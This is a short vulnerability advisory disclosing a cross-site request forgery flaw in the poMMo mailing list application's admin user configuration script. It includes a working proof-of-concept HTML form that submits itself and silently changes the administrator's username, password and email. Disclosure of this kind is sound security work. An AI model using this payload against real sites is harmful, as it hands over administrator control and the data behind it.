Vulnerability ID: HTB22977 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_pommo.html Product: poMMo Vendor: Brice Burgess ( http://pommo.org/ ) Vulnerable Version: Aardvark PR16.1 Vendor Notification: 26 April 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: The vulnerability exists due to failure in the "admin/setup/config/users.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/setup/config/users.php"; method="post" name="main"> <input type="hidden" name="admin_username" value="admin2"> <input type="hidden" name="admin_password" value="newpass"> <input type="hidden" name="admin_password2" value="newpass"> <input type="hidden" name="admin_email" value="email@xxxxxxxxxxx"> </form> <script> document.main.submit(); </script>
